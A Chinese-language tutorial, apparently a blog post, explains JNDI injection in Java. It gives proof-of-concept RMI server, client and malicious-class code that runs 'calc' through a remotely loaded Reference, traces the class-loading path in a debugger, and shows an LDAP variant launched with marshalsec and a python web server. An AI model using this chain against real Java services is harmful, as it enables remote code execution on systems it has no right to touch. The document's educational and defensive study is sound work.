JNDI介绍
JNDI 的全称是 Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
SPI
全称为 Service Provider Interface
,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK
中包含了下述内置的目录服务:
LDAP、DNS、NIS、NDS、RMI、CORBA
在JNDI中提供了绑定和查找的方法:
- bind:将名称绑定到对象中;
- lookup:通过名字检索执行的对象;
下面从两种服务来理解jndi注入。
RMI介绍
RMI 的全称是 Rmote Method Invocation,远程方法调用。具体实现的过程是:远程服务器提供具体的类和方法,本地客户端会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法。方法的参数是通过序列化和反序列化的方式传递的。
本地客户端获取远程类的代理的方式是,借助了 Registry
(注册中心)
其中 Server 和 Registry 可以放在同一个服务器上,也可以布置在不同的服务器上。
RMI 流程:
- Registry 首先启动,并监听一个端口,一般是1099
- Server 向 Registry 注册远程对象
- Client 从 REgistry 获取远程对象的代理
- Client 通过这个代理调用远程对象的方法
- Server 端的代理接收到 Client 端调用的方法,参数,Server 端执行相对应的方法
- Server 端的代理将执行结果返回给 Client 端代理
JNDI之RMI
JDK版本为1.7.0_13
简单看一段代码
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
这段代码可以明显看出来,要想实现jndi注入的利用只要在initialContext.lookup(uri)
的位置实现uri
可控就可以调用远程恶意类实现RCE。
Server.java
服务端首先起一个注册中心的端口1099,rmi服务默认端口为1099
package jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "Calc", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
Client.java
package jndi;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://localhost:1099/calc");
}
}
恶意类Calc.java
import java.lang.Runtime;
public class Calc {
public Calc() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
分析
debug调试服务端
服务端注册中心起监听端口1099,创建Refernence
一个对象,Reference
对象中指定从远程加载构造的恶意Factory
类,new对象的时候需要className
,factory
和factoryLocation
,并将其绑定到RMI服务器上
debug启动客户端,F7跟进
在GenericURLContext
类96行通过RMI服务查找名字为calc
的stub
继续向下跟进lookup
,在RegistryContext
类中该函数判断var1
和var2
这里89行的的var为建立socket连接时的远程地址,在98行跟进RegistryContext
类
在342行跟进到NamingManager
类,继续向下在getObjectInstance
方法中获取工厂类对象
在319行调用了getObjectFactoryFromReference
方法,发现通过getObjectFactoryFromReference
方法调用恶意类
继续F7
首先会本地查找,获取到codebase
后远程调用,见158行
在158行加载恶意类,在168行使用newInstance
方法实例化对象。到这里我们可以看到整个过程的调用栈为
JDK版本为1.8.0_202
在执行客户端的时候报错,由于此jdk版本的com.sun.jndi.rmi.object.trustURLCodebase
默认值为false,即不允许RMI远程地址加载objectfactory类。
JNDI之LDAP
因为JNDI还可以对接LDAP服务,且LDAP也能返回Reference对象,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
客户端代码client.java
package jndi;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("ldap://localhost:1389/Calc");
}
}
python起web服务
python3 -m http.server 80
使用marshalsec启动LDAP服务
java -cp C:\Users\Administrator\Desktop\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Calc
启动客户端,调用远程恶意类
调用栈如下图
基本上rmi调用栈一致,原理上没有什么差别,都是基于lookup()方法可控。
弹出计算器
参考链接